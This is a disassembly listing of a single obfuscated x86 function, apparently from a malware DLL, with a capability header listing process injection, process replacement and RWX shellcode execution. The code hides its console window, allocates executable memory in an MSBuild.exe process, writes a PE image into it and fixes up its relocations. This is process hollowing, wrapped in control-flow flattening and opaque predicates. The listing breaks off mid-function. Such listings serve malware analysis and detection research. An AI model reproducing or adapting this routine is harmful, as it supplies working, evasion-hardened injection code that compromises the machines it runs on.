Function at 0x10008520
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x158
mov eax, dword [0x10066a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
mov edx, ecx
sub edx, 0x733596ba
sub edx, 1
add edx, 0x733596ba
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x15a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x159], al
mov dword [ebp - 0x160], 0xed638d47
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x164], eax
sub eax, 0x80168f57
je 0x1000cce6
jmp 0x1000859b
mov eax, dword [ebp - 0x164]
sub eax, 0x802058ed
je 0x1000e603
jmp 0x100085b1
mov eax, dword [ebp - 0x164]
sub eax, 0x8107d144
je 0x1000c9d2
jmp 0x100085c7
mov eax, dword [ebp - 0x164]
sub eax, 0x827334d9
je 0x1000e98e
jmp 0x100085dd
mov eax, dword [ebp - 0x164]
sub eax, 0x8323c9de
je 0x1000f3e9
jmp 0x100085f3
mov eax, dword [ebp - 0x164]
sub eax, 0x83f5008b
je 0x1000a5a9
jmp 0x10008609
mov eax, dword [ebp - 0x164]
sub eax, 0x83f773df
je 0x1000ce05
jmp 0x1000861f
mov eax, dword [ebp - 0x164]
sub eax, 0x862637b7
je 0x1000a95f
jmp 0x10008635
mov eax, dword [ebp - 0x164]
sub eax, 0x869ded70
je 0x1000ed1d
jmp 0x1000864b
mov eax, dword [ebp - 0x164]
sub eax, 0x86c0732b
je 0x1000ec02
jmp 0x10008661
mov eax, dword [ebp - 0x164]
sub eax, 0x87dac1a4
je 0x1000aeeb
jmp 0x10008677
mov eax, dword [ebp - 0x164]
sub eax, 0x8af8df96
je 0x1000a2ae
jmp 0x1000868d
mov eax, dword [ebp - 0x164]
sub eax, 0x8b73ec68
je 0x1000c278
jmp 0x100086a3
mov eax, dword [ebp - 0x164]
sub eax, 0x8bd6edcc
je 0x1000ee56
jmp 0x100086b9
mov eax, dword [ebp - 0x164]
sub eax, 0x8c10f9c2
je 0x1000ab68
jmp 0x100086cf
mov eax, dword [ebp - 0x164]
sub eax, 0x8ccf4f24
je 0x1000b153
jmp 0x100086e5
mov eax, dword [ebp - 0x164]
sub eax, 0x8da2bdaf
je 0x1000e77f
jmp 0x100086fb
mov eax, dword [ebp - 0x164]
sub eax, 0x8e2a5b71
je 0x1000d24c
jmp 0x10008711
mov eax, dword [ebp - 0x164]
sub eax, 0x8fa9e994
je 0x1000f42c
jmp 0x10008727
mov eax, dword [ebp - 0x164]
sub eax, 0x911bc315
je 0x1000a8a2
jmp 0x1000873d
mov eax, dword [ebp - 0x164]
sub eax, 0x91f09b2c
je 0x1000a87e
jmp 0x10008753
mov eax, dword [ebp - 0x164]
sub eax, 0x92d88ecd
je 0x1000b48c
jmp 0x10008769
mov eax, dword [ebp - 0x164]
sub eax, 0x9343f6e4
je 0x1000e2fb
jmp 0x1000877f
mov eax, dword [ebp - 0x164]
sub eax, 0x96732e8a
je 0x1000cee4
jmp 0x10008795
mov eax, dword [ebp - 0x164]
sub eax, 0x96942118
je 0x1000b82a
jmp 0x100087ab
mov eax, dword [ebp - 0x164]
sub eax, 0x971b33f9
je 0x1000b70e
jmp 0x100087c1
mov eax, dword [ebp - 0x164]
sub eax, 0x990d4eb1
je 0x1000bd44
jmp 0x100087d7
mov eax, dword [ebp - 0x164]
sub eax, 0x999a3f0c
je 0x1000a324
jmp 0x100087ed
mov eax, dword [ebp - 0x164]
sub eax, 0x9a5734b6
je 0x1000bf05
jmp 0x10008803
mov eax, dword [ebp - 0x164]
sub eax, 0x9a6bdad0
je 0x1000f497
jmp 0x10008819
mov eax, dword [ebp - 0x164]
sub eax, 0x9acb1416
je 0x1000dfa9
jmp 0x1000882f
mov eax, dword [ebp - 0x164]
sub eax, 0x9ae131e1
je 0x1000ae4d
jmp 0x10008845
mov eax, dword [ebp - 0x164]
sub eax, 0x9b2a96ec
je 0x1000efcf
jmp 0x1000885b
mov eax, dword [ebp - 0x164]
sub eax, 0x9b6518d8
je 0x1000c603
jmp 0x10008871
mov eax, dword [ebp - 0x164]
sub eax, 0x9b719937
je 0x1000efab
jmp 0x10008887
mov eax, dword [ebp - 0x164]
sub eax, 0x9e10fc61
je 0x1000df3b
jmp 0x1000889d
mov eax, dword [ebp - 0x164]
sub eax, 0x9e1c27f5
je 0x1000a57e
jmp 0x100088b3
mov eax, dword [ebp - 0x164]
sub eax, 0x9ea38721
je 0x1000f4ca
jmp 0x100088c9
mov eax, dword [ebp - 0x164]
sub eax, 0x9f719b9f
je 0x1000c227
jmp 0x100088df
mov eax, dword [ebp - 0x164]
sub eax, 0xa070a795
je 0x1000c10b
jmp 0x100088f5
mov eax, dword [ebp - 0x164]
sub eax, 0xa120c2fd
je 0x1000a333
jmp 0x1000890b
mov eax, dword [ebp - 0x164]
sub eax, 0xa1eef8ee
je 0x1000a661
jmp 0x10008921
mov eax, dword [ebp - 0x164]
sub eax, 0xa3741cda
je 0x1000d2ed
jmp 0x10008937
mov eax, dword [ebp - 0x164]
sub eax, 0xa39ec765
je 0x1000c6ea
jmp 0x1000894d
mov eax, dword [ebp - 0x164]
sub eax, 0xa3bcad71
je 0x1000e3ec
jmp 0x10008963
mov eax, dword [ebp - 0x164]
sub eax, 0xa44e072c
je 0x1000d91b
jmp 0x10008979
mov eax, dword [ebp - 0x164]
sub eax, 0xa4de8f6e
je 0x1000d6ff
jmp 0x1000898f
mov eax, dword [ebp - 0x164]
sub eax, 0xa56916f1
je 0x1000cbe0
jmp 0x100089a5
mov eax, dword [ebp - 0x164]
sub eax, 0xa638a0a5
je 0x1000e1ec
jmp 0x100089bb
mov eax, dword [ebp - 0x164]
sub eax, 0xa6f2c0f1
je 0x1000b365
jmp 0x100089d1
mov eax, dword [ebp - 0x164]
sub eax, 0xa746bfd7
je 0x1000aefa
jmp 0x100089e7
mov eax, dword [ebp - 0x164]
sub eax, 0xa7b43078
je 0x1000af9b
jmp 0x100089fd
mov eax, dword [ebp - 0x164]
sub eax, 0xa7c43b62
je 0x1000d0fa
jmp 0x10008a13
mov eax, dword [ebp - 0x164]
sub eax, 0xa8ca374b
je 0x1000e95f
jmp 0x10008a29
mov eax, dword [ebp - 0x164]
sub eax, 0xa9e48328
je 0x1000d681
jmp 0x10008a3f
mov eax, dword [ebp - 0x164]
sub eax, 0xac0a5539
je 0x1000a7d3
jmp 0x10008a55
mov eax, dword [ebp - 0x164]
sub eax, 0xae33acc3
je 0x1000ed8b
jmp 0x10008a6b
mov eax, dword [ebp - 0x164]
sub eax, 0xb0163b7d
je 0x1000d084
jmp 0x10008a81
mov eax, dword [ebp - 0x164]
sub eax, 0xb02e18f2
je 0x1000c517
jmp 0x10008a97
mov eax, dword [ebp - 0x164]
sub eax, 0xb17b3fcf
je 0x1000effc
jmp 0x10008aad
mov eax, dword [ebp - 0x164]
sub eax, 0xb237fb0a
je 0x1000e62d
jmp 0x10008ac3
mov eax, dword [ebp - 0x164]
sub eax, 0xb342f37d
je 0x1000c708
jmp 0x10008ad9
mov eax, dword [ebp - 0x164]
sub eax, 0xb3bbefe7
je 0x1000d3cb
jmp 0x10008aef
mov eax, dword [ebp - 0x164]
sub eax, 0xb3eb5341
je 0x1000de57
jmp 0x10008b05
mov eax, dword [ebp - 0x164]
sub eax, 0xb502c69f
je 0x1000b2a5
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
mov edx, ecx
sub edx, 0xb9a8103a
sub edx, 1
add edx, 0xb9a8103a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x627c32da
mov ecx, 0x999a3f0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov dword [ebp - 0x160], 0xa120c2fd
jmp 0x1000f576
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001600
add esp, 4
lea eax, [0x1001b1d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001600
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x45a00
call section..text
add esp, 8
mov dword [ebp - 0x160], 0xeda1691d
jmp 0x1000f576
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x160], 0x83f5008b
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd9b7b71d
mov ecx, 0xdc314a87
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
mov edx, ecx
sub edx, 0xbee10f69
sub edx, 1
add edx, 0xbee10f69
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb237fb0a
mov ecx, 0xdef4b1a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x148]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10011010
add esp, 0xc
mov eax, dword [ebp - 0x144]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10011010
add esp, 0xc
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x160], 0x91f09b2c
jmp 0x1000f576
mov eax, dword [ebp - 0xc8]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x160], 0x911bc315
jmp 0x1000f576
mov eax, dword [ebp - 0xc4]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x140]
mov byte [eax], cl
mov eax, dword [ebp - 0x13c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov dword [ebp - 0x160], 0xf7e34ae4
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2c50b41
mov ecx, 0xb0fd311
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov dword [ebp - 0x160], 0x4dc1fa4b
jmp 0x1000f576
mov eax, dword [ebp - 0x134]
mov dword [eax], 0
mov eax, dword [ebp - 0x148]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x134]
mov eax, dword [ebp - 0x130]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
mov edx, eax
add edx, 0xf2524419
sub edx, 1
sub edx, 0xf2524419
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x773b9037
mov ecx, 0x87dac1a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov dword [ebp - 0x160], 0xa746bfd7
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x574f9b55
mov ecx, 0x4deb1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x134]
mov edx, dword [edx]
mov esi, dword [ebp - 0x148]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x160], 0xce8a59be
jmp 0x1000f576
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
mov edx, ecx
add edx, 0x9482586d
sub edx, 1
sub edx, 0x9482586d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5eac01f5
mov ecx, 0x4dc6c001
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov dl, byte [ebp - 0xa1]
mov eax, 0x5063f332
mov ecx, 0x1c00c8a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x98]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0x14]
mov ecx, dword [ebp - 0x9c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x134]
mov edx, dword [eax]
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov esi, dword [ebp - 0x120]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x148]
mov esi, dword [eax]
mov eax, dword [ebp - 0xa0]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e7b30db
mov ecx, 0x44b9332a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
mov edx, eax
add edx, 0x4bded5a6
sub edx, 1
sub edx, 0x4bded5a6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb336b37
mov ecx, 0x1d4376d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x150]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x89], al
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
mov edx, ecx
add edx, 0x9f047c43
sub edx, 1
sub edx, 0x9f047c43
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xda893d75
mov ecx, 0x5f52b7e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe461449
mov ecx, 0x2ed355b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x114]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x70], eax
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
mov edx, eax
add edx, 0x64a17684
sub edx, 1
sub edx, 0x64a17684
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1020aeae
mov ecx, 0x5781c12c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x74]
sub eax, 0x650c812d
sub eax, ecx
add eax, 0x650c812d
mov ecx, dword [ebp - 0x78]
add ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
mov edx, ecx
add edx, 0x9e2ab64d
sub edx, 1
sub edx, 0x9e2ab64d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x138203d6
mov ecx, 0x408e09df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
mov edx, eax
add edx, 0xc3dfc7bb
sub edx, 1
sub edx, 0xc3dfc7bb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4057e886
mov ecx, 0x8b73ec68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4057e886
mov ecx, 0xb9bf1a10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
mov edx, ecx
add edx, 0xac679a74
sub edx, 1
sub edx, 0xac679a74
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xebdb28a3
mov ecx, 0xfe4f28fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
mov edx, ecx
add edx, 0xa8d70eb9
sub edx, 1
sub edx, 0xa8d70eb9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6a7fd0d2
mov ecx, 0x40fb1e2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov dl, byte [ebp - 0x65]
mov eax, 0xf4855dfa
mov ecx, 0xb342f37d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x160], 0xea88f0d5
jmp 0x1000f576
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
mov edx, ecx
sub edx, 0xa5f19a06
sub edx, 1
add edx, 0xa5f19a06
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd63d1ad7
mov ecx, 0xbb2c6824
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov dword [ebp - 0x160], 0x3cc7e72c
jmp 0x1000f576
mov dword [ebp - 0x160], 0x43f3bfe5
jmp 0x1000f576
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x4d], al
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
mov edx, eax
add edx, 0xbc734710
sub edx, 1
sub edx, 0xbc734710
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a5e0a63
mov ecx, 0xf03e8821
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
mov edx, eax
sub edx, 0xd22133e0
sub edx, 1
add edx, 0xd22133e0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x42c1a34f
mov ecx, 0xe84964a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
mov edx, ecx
add edx, 0xc0faf06f
sub edx, 1
sub edx, 0xc0faf06f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdff7a35d
mov ecx, 0xa7c43b62
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov ecx, dword [0x10067c88]
mov eax, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbc5de0c8
mov ecx, 0xfb9fae8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x40]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x44]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x100]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
sub ecx, 0x7b0b3603
add ecx, eax
add ecx, 0x7b0b3603
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x148]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0x28c6d38a
mov ecx, 0xa3741cda
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
add eax, 0xe362d381
add eax, ecx
sub eax, 0xe362d381
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x160], 0x3dabec77
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
mov edx, eax
add edx, 0x84d6a303
sub edx, 1
sub edx, 0x84d6a303
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x869ded70
mov ecx, 0xc29502b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
sub ecx, 0x1380a778
add ecx, eax
add ecx, 0x1380a778
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
mov edx, eax
add edx, 0x79ee3b45
sub edx, 1
sub edx, 0x79ee3b45
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78e45abc
mov ecx, 0x12e7ace9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000f576
mov dword [ebp - 0x160], 0xf4855dfa
jmp 0x1000f576
mov eax, dword [0x10067c88]
mov ecx, dword [0x10067c84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
